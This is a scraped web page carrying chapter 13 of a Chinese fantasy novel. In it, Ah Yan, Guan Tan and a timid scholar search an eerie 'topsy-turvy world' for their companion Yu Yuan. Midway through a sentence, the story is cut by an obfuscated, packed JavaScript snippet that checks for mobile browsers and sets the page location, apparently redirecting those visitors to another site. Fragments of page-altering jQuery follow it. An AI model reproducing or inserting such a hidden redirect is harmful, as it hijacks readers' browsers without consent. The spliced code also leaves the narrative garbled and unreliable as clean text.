默认冷灰
24号文字
方正启体

13. 皆由无始贪嗔痴(二)

作者:山午拾云本书字数:K更新时间:
    云何名为,颠倒世界?


    盖以一切众生,从无始来,种种颠倒,业习自生,如秽草聚。


    如是众生,一一类中亦各各具十二颠倒,犹若翳目,空华乱坠;迷乱真心,具足如斯虚妄乱想。①


    何为十二颠倒?


    曰:动、欲、趣、假、障、惑、影、痴、伪、性、罔、杀,此十二也。


    阿厌这才看清眼前世界。


    乍见之下,点将台的阁楼,近处城郭村落、长街、市集,乃至远方山川形胜,飞云流石、花鸟草木,皆与常世一般无二。


    只是天象诡异莫名。


    暖日东沉,寒月西升,颠倒错乱。


    血色层云之下,万物皆蒙着一层死灰。


    空中漂浮着灰烬般的尘埃,悬停着,凝而不动。


    更让阿厌觉得不对劲的,是人气。


    这里就好像是,那种很久没有人住过的老宅子,死气沉沉,了无生机。


    长巷里,不见人烟,连鸡鸣狗吠也不闻,寂静得反常,唯有某种难以名状的气息在暗处流动。


    那气息,非人非鬼,非精非怪,非仙非神。


    “颠倒世界?那是什么?”书生牙齿打颤,战战兢兢问道。


    “难道是阴曹地府!?我们...我们从那么高的地方跳下来,肯定是活不成了吧,我...我是不是已经死...死了?”


    阿厌心塞,知道活不成还跳得那么干脆。


    书生继续自顾自地哭道:“怎么只有我到了这里,小郎君和道长呢,他们两个是不是已经升天了,还是已经投胎了?天地良心,我平时半点儿坏事都没干过...”


    怎么虞渊也跟进来了吗?观昙心头又是一惊,面上仍是淡淡的。


    书生哭着,抹了把眼泪,“也就是我从前年少不懂事的时候,把家里的牛剃了头,逼得它怄气许久,三天没有吃草,还有...我小时候看见好看的哥哥,就喜欢亲人家,除此之外,当真没有干丧良心的事......”


    观昙本来只当他的哭嚎是耳旁风,左耳朵进,右耳朵出,听到这,却不想入了心。


    他从前几个师弟里,有一个最是顽皮的,总爱捉弄自己那头青牛坐骑,有一次把它头上那绺最心爱的小白毛剃成了狗啃的,逼得它自卑许久,好些天不肯见人。


    书生顿了顿,依旧没完没了:“难不成是打碎神像的报应,天杀的度厄真君,没想到,真是这么小心眼的神,怎么对我一个小小凡人不依不饶......”


    阿厌听得耳朵疼。


    “好了,你还没死。”观昙表情复杂。


    一声低语,如同一盆凉水浇在书生脸上,他哭哭啼啼的声音戛然而止,瞪着泪眼迷茫地看向他们二人。


    见人止住哭声,观昙问道,“你方才说,还有一个人跟你一起跳下来,怎么他没在?”


    “除了在下,还有两个人,一个少年,约莫这么高。”书生比划了一下,又皱着眉头,上下打量眼阿厌,“奇怪,这位公子,你真有几分像...”


    “另一个人呢?”观昙打断他。


    “还有一位穿朱红道袍的道长。我掉下来的时候他就在我头顶掉着,后来就不见了。”书生想了想,“会不会是他又飞回去了?”


    “......”


    观昙方才已经感知过,虞渊的生息就在这附近不远,但又没见他的踪影。


    “不好!”观昙道。


    “怎么?”阿厌问道。


    “我们得赶在...”观昙犹豫了一下,道:“总之,我们现在要抓紧找到他。”


    观昙本来想说,要赶在虞渊被吃掉前找到他,但又害怕这几个字眼把书生刚放回去的心又勾出嗓子眼,无奈换了一下措辞。


    阿厌心生疑惑,虞渊要找观昙这个叛徒的时候,眼里杀气腾腾丝毫不加掩饰,可不像是打算给他留活路的样子。


    怎么观昙现在好不容易摆脱掉他,反倒要回过头去找他?岂不是白费一番功夫,自投罗网,但看观昙眼中的关切,又不像是假装的。


    阿厌到底没有深究,只是谨慎地问了一句,“你暴露了也不要紧吗?”


    观昙摇身一变,化作一个清贵公子,羽扇纶巾,眉眼倒与阿厌有几分相像,在他耳边低低说了句:“不怕,这样他就认不出了。”


    阿厌仍有担忧:“可他...”


    观昙知道他想说什么,宽袖之下拍了拍阿厌的手,小声宽慰道:“颠倒世界里,他和凡人没什么两样,识不破的,别担心,余下的稍后再和你解释。”


    阿厌点头应下,耳尖发烫,不动声色地抽回手,往旁边挪了半寸。


    “你...你们两个在说什么?”书生站在一旁,听不太清,只隐约觉得是跟那位道长有关。


    “没什么。”观昙道。


    “那...你们是谁?你...你你......怎么还会变身?”


    阿厌垂眸向观昙递去一个眼神,还不太适应从这个角度俯看他,也没看惯他这副翩翩公子的模样。


    观昙心领神会,张口道:“我是庄漠,这是我阿弟左泱,我与阿弟二人,前几天不慎掉落此间。”


    “那...那你怎么知道这是什么颠倒世界,不是阴曹地府?”书生仍是心有余悸。


    观昙压了压嘴角:“对了,忘了告诉你,我们二人来自琥砗仙国,我们那里典籍有关于颠倒世界的一些记载,是以略知一二。至于方才我变化模样......”


    观昙拿扇子轻触阿厌,一句鬼话又上心头:“是在哄我阿弟开心。”


    阿厌扯了扯嘴角,琥砗?庄漠?左泱?半日不见,这鬼胡扯的本领越发长进。


    观昙说着,伸手扣住他的小臂,逗他,“阿弟别恼了,哥哥知错了。”


    手掌隔着布料透出温凉,阿厌猝不及防被他这么不重不轻捏了一下,心口一跳,心道,“这鬼是演上瘾了?”


    于是面上装出一副愠怒模样:“哥哥,别闹了。”


    “原来是仙家兄弟,失敬,失敬!是在下孤陋寡闻了。二位还真是兄友弟恭。”书生拱手,恭敬道,心里嘀咕,“仙家哄兄弟开心,原来还可以抱在怀里,当真是超凡脱俗,从心所欲。”


    果然,这种鬼话连篇的差事,还是应该交给鬼来做,阿厌不免感概。


    “咳。”阿厌咳嗽了一嗓子。


    观昙以为他是又疼起来,下意识伸出手把他往自己身边带了带,方便他靠在自己身上,好省些力。


    手顺势扶上他腰间,少年身上熨贴的温度钻入掌心,观昙一怔。


    手感结实。


    这是第一个念头。


    第二个念头:长高了。


    从前两人的身高,他这样伸手,刚好能揽住少年单薄的肩膀。现在却要微微抬腕,才能扣住


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694653|173395||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那截精壮的腰线。


    被他这么一揽,阿厌全身绷得铁板一块,一动不动。


    观昙感到掌下肌肉瞬间僵住,被他扶住的人像只被拿住要害的狼崽,出口问道,


    “阿弟怎么了?还疼么?”


    阿厌又咳嗽了一声,攥住观昙手腕,力道大得惊人,压低声音,“哥哥,”两个字咬得极重,当真是不情不愿,“找人。”


    别光顾着胡扯。


    观昙才记起正事,想到虞渊,忙问道:“我方才感应到附近还有一位仙友,不知是你口中的哪一位朋友,你能否告诉我你们掉下来前在做什么?”


    书生一五一十把当时的情况描述了一遍。


    观昙把目光转向点将台那间小阁楼,沉吟:“这么说,他大约在那里面了。”


    阿厌上前推开点将台的门,里面一片死寂。


    他轻声问:“你怎么知道虞渊在这里?”


    观昙:“他进来前,心生执念,这样的状态到颠倒世界,容易被他的厄引过去。”


    阿厌心里思忖,所以观昙刚才问书生虞渊进来前在做什么,是想知道他刚才的执念落在何处,只是厄与执念有什么关系,又问:“厄,那是什么?”


    “你马上就能看见了。”


    “庄、庄漠兄,左泱兄,我...真真...真要进去吗?”书生哆哆嗦嗦地扣住门框。


    观昙好脾气地点点头:“是啊,真真兄,请进吧。”


    “我...我...”书生进退两难,试图抓住阿厌的衣角,被阿厌一个凌厉的眼神扫过,又讪讪缩回手。


    观昙不知从哪里掏出一块石头,交到书生手里,“仙人开过光的灵石,拿好,可以护身。”


    “真的?”


    “千真万确,如假包换。”


    书生如获至宝,双手把石头死死捂在心口:“庄漠兄,你真是我的恩人。大恩大德,我不知该怎么回报,我就是当牛做马也难还。”


    观昙摆手:“别,太客气了,我有牛,暂时还用不上真真兄。”


    又点他一句,“再说了,真真兄为救同伴,舍生忘死,这份义气,我出手相助也算给自己积福报。”


    书生原本如石沉大海的胆子,经观昙这么三言两语,竟又浮出海面,被架到高地,羞赧一笑:“哪里哪里。”


    阿厌拧眉,他看得真切,那块石头明明是刚才观昙随手从地上捡来的:“开光的石头,真的假的?”


    观昙附在他耳边,悄声道:“假的,他信便是真的。”


    人慌抓稻草,心乱拜泥胎。


    心无所依时,石头也成佛。


    这么个简单道理,放之四海皆准。


    所以混沌无序时,人便攀缘假想的准则来建立秩序,于是道德由此而立。


    及至惶惑无依,人又习惯假借外物来支撑不安,由是信仰诞生。


    书生攥紧的石头,和他高谈的仁义道德,原是同一种东西。


    阿厌定定看了观昙一眼,心想:他这个鬼,倒是会拿捏人心。


    三人挤进窄小的阁楼,昏暗逼仄。


    “庄漠兄,你怎么了?”书生压低嗓音问,喉头发紧。


    观昙侧头,“什么怎么了?”


    “你……一直站在我左边?”


    “是啊。”观昙点头。


    “那……刚才在我右边……拍我肩膀的……是谁?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)